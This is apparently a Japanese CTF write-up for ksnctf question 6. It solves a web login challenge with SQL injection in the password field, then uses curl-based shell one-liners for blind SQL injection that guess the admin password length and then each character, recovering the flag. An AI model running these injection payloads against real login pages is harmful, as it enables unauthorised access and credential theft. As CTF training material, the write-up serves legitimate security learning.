ksnctfの6問目(順不同で目についたの適当に解いてる)。 Webのログインページからログインする問題のようだ。
とりあえずSQLインジェクションっぽいので、指示通りユーザにadminを指定してお約束的にSQLインジェクションをパスワードのとこに入力。
```
' or '1' = '1';--
```
ログイン時のsqlインジェクションをcurlでやった場合はこんな感じ。
curl -X POST http://ctfq.sweetduet.info:10080/~q6/ -d "id=admin" -d "pass=' or 'a'='a';--"
ログインすると、以下のような出力がされる。 どうやら単にSQLインジェクションでログインするだけだとだめで、adminのパスワードを取得する必要があるらしい。
どっかしらにテーブル出力する箇所があるなら、そこからSQLインジェクションするのかなー…(´・ω・`)。と素人考えで調べてたところ、他の方のWriteUpを見ると ブラインドSQLインジェクションというやり方が有効なようだ。 イメージ的には、SQLインジェクションの脆弱性のある箇所を利用して、そこからまず文字数を推測、次に各文字を1個ずつ総当たりで推測していくというやり方のようだ。
とりあえず、まずはパスワードの文字数を推測する。 成功時のみ出力される行数が多いハズなので、headで一番多い出力だった文字数のみを抽出。
seq 10 30|xargs -I@ bash -c "printf '%s ' @;curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ -d \"id=admin' AND (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = @ --\" -d \"pass=aaaa\"|wc -l"|sort -k2nr|head -1|cut -d' ' -f1
blacknon@BS-PUB-UBUNTU-01:~$ seq 10 30|xargs -I@ bash -c "printf '%s ' @;curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ -d \"id=admin' AND (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = @ --\" -d \"pass=aaaa\"|wc -l"|sort -k2nr|head -1|cut -d' ' -f1
21
どうやらパスワードの文字数は21らしい。 パスワードの文字数を推測できたら、左が順にパスワードの文字を総当たりで推測する。 コード書くの面倒なので、ここもシェル芸でガガッとやってしまう。
for i in {1..21};do echo {{0..9},{a..z},{A..Z},_}|fmt -1|xargs -I@ bash -c "printf '%s ' @;curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ -d \"id=admin' AND SUBSTR((SELECT pass FROM user WHERE id = 'admin'),"$i",1) = '@' --\" -d \"pass=aaaa\"|wc -l"|sort -k2nr|head -1|cut -d' ' -f1;done|xargs|tr -d ' '
blacknon@BS-PUB-UBUNTU-01:~$ for i in {1..21};do echo {{0..9},{a..z},{A..Z},_}|fmt -1|xargs -I@ bash -c "printf '%s ' @;curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ -d \"id=admin' AND SUBSTR((SELECT pass FROM user WHERE id = 'admin'),"$i",1) = '@' --\" -d \"pass=aaaa\"|wc -l"|sort -k2nr|head -1|cut -d' ' -f1;done|xargs|tr -d ' '
FLAG_KpWa4ji3uZk6TrPK
これでFLAGが取れた。